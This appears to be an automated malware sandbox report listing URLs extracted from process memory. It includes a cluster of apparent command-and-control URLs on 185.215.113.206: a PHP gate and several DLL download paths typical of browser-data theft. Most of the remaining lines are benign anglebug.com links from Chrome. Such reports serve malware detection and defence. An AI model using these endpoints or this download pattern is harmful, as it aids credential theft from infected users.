Source: file.exe, 00000000.00000002.2414963781.0000000000DF7000.00000004.00000020.00020000.00000000.sdmp, fd9f6e129b.exe, 0000001B.00000002.2945693748.000000000149E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/
Source: file.exe, 00000000.00000002.2414963781.0000000000E0D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/freebl3.dll
Source: file.exe, 00000000.00000002.2414963781.0000000000E0D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dll;
Source: file.exe, 00000000.00000002.2414963781.0000000000E0D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/mozglue.dllU
Source: file.exe, 00000000.00000002.2414963781.0000000000DF7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/msvcp140.dll
Source: file.exe, 00000000.00000002.2414963781.0000000000E0D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/nss3.dll
Source: file.exe, 00000000.00000002.2414963781.0000000000DF7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/softokn3.dll
Source: file.exe, 00000000.00000002.2414963781.0000000000DF7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/softokn3.dllfV
Source: file.exe, 00000000.00000002.2414963781.0000000000E0D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dll
Source: file.exe, 00000000.00000002.2414963781.0000000000E0D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/sqlite3.dll_
Source: file.exe, 00000000.00000002.2414963781.0000000000E0D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/68b591d6548ec281/vcruntime140.dll
Source: fd9f6e129b.exe, 0000001B.00000002.2945693748.000000000143E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/N
Source: file.exe, 00000000.00000002.2414963781.0000000000DF7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/PP
Source: fd9f6e129b.exe, 0000001B.00000002.2945693748.000000000149E000.00000004.00000020.00020000.00000000.sdmp, fd9f6e129b.exe, 0000001B.00000002.2945693748.000000000143E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php
Source: file.exe, 00000000.00000002.2455677277.0000000023613000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php0
Source: fd9f6e129b.exe, 0000001B.00000002.2945693748.00000000014AC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php6(-
Source: fd9f6e129b.exe, 0000001B.00000002.2945693748.00000000014AC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.php:(
Source: file.exe, 00000000.00000002.2414963781.0000000000DF7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpA
Source: fd9f6e129b.exe, 0000001B.00000002.2945693748.000000000143E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpG
Source: file.exe, 00000000.00000002.2455677277.0000000023613000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpN~
Source: fd9f6e129b.exe, 0000001B.00000002.2945693748.000000000149E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpd
Source: file.exe, 00000000.00000002.2413344379.0000000000335000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpion:
Source: fd9f6e129b.exe, 0000001B.00000002.2945693748.00000000014AC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpj(
Source: file.exe, 00000000.00000002.2455677277.0000000023613000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpjh
Source: fd9f6e129b.exe, 0000001B.00000002.2945693748.000000000149E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phps
Source: file.exe, 00000000.00000002.2414963781.0000000000DF7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpsoft
Source: file.exe, 00000000.00000002.2414963781.0000000000E0D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpxFa#h
Source: fd9f6e129b.exe, 0000001B.00000002.2945693748.000000000143E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206/c4becf79229cb002.phpy
Source: fd9f6e129b.exe, 0000001B.00000002.2945693748.000000000143E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206K
Source: file.exe, 00000000.00000002.2413344379.0000000000335000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: http://185.215.113.206lfons
Source: file.exe, 00000000.00000002.2414963781.0000000000D9E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.206s
Source: chrome.exe, 0000002E.00000003.3053590180.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058477229.00003EDC00434000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058376802.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000002.3235141931.00003EDC0000C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/1423136
Source: chrome.exe, 0000002E.00000003.3053590180.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058477229.00003EDC00434000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000002.3302109929.00003EDC00AF0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058376802.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/2162
Source: chrome.exe, 0000002E.00000003.3053590180.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058477229.00003EDC00434000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000002.3302109929.00003EDC00AF0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058376802.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/2517
Source: chrome.exe, 0000002E.00000003.3053590180.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058477229.00003EDC00434000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000002.3302109929.00003EDC00AF0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058376802.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/2970
Source: chrome.exe, 0000002E.00000003.3053590180.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058477229.00003EDC00434000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000002.3302109929.00003EDC00AF0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058376802.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3078
Source: chrome.exe, 0000002E.00000003.3053590180.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058477229.00003EDC00434000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000002.3302109929.00003EDC00AF0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058376802.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3205
Source: chrome.exe, 0000002E.00000003.3053590180.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058477229.00003EDC00434000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000002.3302109929.00003EDC00AF0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058376802.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3206
Source: chrome.exe, 0000002E.00000003.3053590180.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058477229.00003EDC00434000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000002.3302109929.00003EDC00AF0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058376802.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3452
Source: chrome.exe, 0000002E.00000003.3053590180.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058477229.00003EDC00434000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000002.3302109929.00003EDC00AF0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058376802.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3498
Source: chrome.exe, 0000002E.00000003.3053590180.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058477229.00003EDC00434000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000002.3302109929.00003EDC00AF0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058376802.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3502
Source: chrome.exe, 0000002E.00000003.3053590180.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058477229.00003EDC00434000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000002.3302109929.00003EDC00AF0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058376802.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3577
Source: chrome.exe, 0000002E.00000003.3053590180.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058477229.00003EDC00434000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000002.3302109929.00003EDC00AF0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058376802.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3584
Source: chrome.exe, 0000002E.00000003.3053590180.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058477229.00003EDC00434000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000002.3302109929.00003EDC00AF0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058376802.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3586
Source: chrome.exe, 0000002E.00000003.3053590180.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058477229.00003EDC00434000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058376802.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3623
Source: chrome.exe, 0000002E.00000003.3053590180.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058477229.00003EDC00434000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058376802.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3624
Source: chrome.exe, 0000002E.00000003.3053590180.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058477229.00003EDC00434000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058376802.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3625
Source: chrome.exe, 0000002E.00000003.3053590180.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058477229.00003EDC00434000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000002.3302109929.00003EDC00AF0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058376802.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3832
Source: chrome.exe, 0000002E.00000003.3053590180.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058477229.00003EDC00434000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000002.3302109929.00003EDC00AF0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058376802.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3862
Source: chrome.exe, 0000002E.00000003.3053590180.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058477229.00003EDC00434000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000002.3302109929.00003EDC00AF0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058376802.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3965
Source: chrome.exe, 0000002E.00000003.3053590180.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058477229.00003EDC00434000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000002.3302109929.00003EDC00AF0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058376802.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/3970
Source: chrome.exe, 0000002E.00000003.3053590180.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058477229.00003EDC00434000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000002.3302109929.00003EDC00AF0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058376802.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4324
Source: chrome.exe, 0000002E.00000003.3053590180.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058477229.00003EDC00434000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000002.3302109929.00003EDC00AF0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058376802.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4384
Source: chrome.exe, 0000002E.00000003.3053590180.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058477229.00003EDC00434000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000002.3302109929.00003EDC00AF0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058376802.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4405
Source: chrome.exe, 0000002E.00000003.3053590180.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058477229.00003EDC00434000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000002.3302109929.00003EDC00AF0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058376802.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4428
Source: chrome.exe, 0000002E.00000003.3053590180.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058477229.00003EDC00434000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000002.3302109929.00003EDC00AF0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058376802.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4551
Source: chrome.exe, 0000002E.00000003.3053590180.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058477229.00003EDC00434000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000002.3302109929.00003EDC00AF0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058376802.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4633
Source: chrome.exe, 0000002E.00000003.3053590180.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058477229.00003EDC00434000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000002.3302109929.00003EDC00AF0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058376802.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4722
Source: chrome.exe, 0000002E.00000003.3053590180.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058477229.00003EDC00434000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000002.3302109929.00003EDC00AF0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058376802.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4836
Source: chrome.exe, 0000002E.00000003.3053590180.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058477229.00003EDC00434000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000002.3302109929.00003EDC00AF0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058376802.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4901
Source: chrome.exe, 0000002E.00000003.3053590180.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058477229.00003EDC00434000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000002.3302109929.00003EDC00AF0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058376802.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/4937
Source: chrome.exe, 0000002E.00000003.3053590180.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058477229.00003EDC00434000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058376802.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000002.3235141931.00003EDC0000C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5007
Source: chrome.exe, 0000002E.00000003.3053590180.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058477229.00003EDC00434000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000002.3302109929.00003EDC00AF0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058376802.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5055
Source: chrome.exe, 0000002E.00000003.3053590180.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058477229.00003EDC00434000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000002.3302109929.00003EDC00AF0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058376802.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5061
Source: chrome.exe, 0000002E.00000003.3053590180.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058477229.00003EDC00434000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000002.3302109929.00003EDC00AF0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058376802.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5281
Source: chrome.exe, 0000002E.00000003.3053590180.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058477229.00003EDC00434000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000002.3302109929.00003EDC00AF0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058376802.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5371
Source: chrome.exe, 0000002E.00000003.3053590180.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058477229.00003EDC00434000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000002.3302109929.00003EDC00AF0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058376802.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5375
Source: chrome.exe, 0000002E.00000003.3053590180.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058477229.00003EDC00434000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000002.3302109929.00003EDC00AF0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058376802.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5421
Source: chrome.exe, 0000002E.00000003.3053590180.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058477229.00003EDC00434000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000002.3302109929.00003EDC00AF0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058376802.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5430
Source: chrome.exe, 0000002E.00000003.3053590180.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058477229.00003EDC00434000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000002.3302109929.00003EDC00AF0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058376802.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5535
Source: chrome.exe, 0000002E.00000003.3053590180.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058477229.00003EDC00434000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000002.3302109929.00003EDC00AF0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058376802.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5658
Source: chrome.exe, 0000002E.00000003.3053590180.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058477229.00003EDC00434000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058376802.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000002.3235141931.00003EDC0000C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5750
Source: chrome.exe, 0000002E.00000003.3053590180.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058477229.00003EDC00434000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000002.3302109929.00003EDC00AF0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058376802.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5881
Source: chrome.exe, 0000002E.00000003.3053590180.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058477229.00003EDC00434000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000002.3302109929.00003EDC00AF0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058376802.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5901
Source: chrome.exe, 0000002E.00000003.3053590180.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058477229.00003EDC00434000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000002.3302109929.00003EDC00AF0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058376802.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/5906
Source: chrome.exe, 0000002E.00000003.3053590180.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058477229.00003EDC00434000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000002.3302109929.00003EDC00AF0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058376802.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6041
Source: chrome.exe, 0000002E.00000003.3053590180.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058477229.00003EDC00434000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000002.3302109929.00003EDC00AF0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058376802.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6048
Source: chrome.exe, 0000002E.00000003.3053590180.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058477229.00003EDC00434000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000002.3302109929.00003EDC00AF0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058376802.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6141
Source: chrome.exe, 0000002E.00000003.3053590180.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058477229.00003EDC00434000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000002.3302109929.00003EDC00AF0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058376802.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6248
Source: chrome.exe, 0000002E.00000003.3053590180.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058477229.00003EDC00434000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000002.3302109929.00003EDC00AF0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058376802.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6439
Source: chrome.exe, 0000002E.00000003.3053590180.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058477229.00003EDC00434000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000002.3302109929.00003EDC00AF0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058376802.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6651
Source: chrome.exe, 0000002E.00000003.3053590180.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058477229.00003EDC00434000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000002.3302109929.00003EDC00AF0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058376802.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6692
Source: chrome.exe, 0000002E.00000003.3053590180.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058477229.00003EDC00434000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000002.3302109929.00003EDC00AF0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 0000002E.00000003.3058376802.00003EDC0040C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anglebug.com/6755
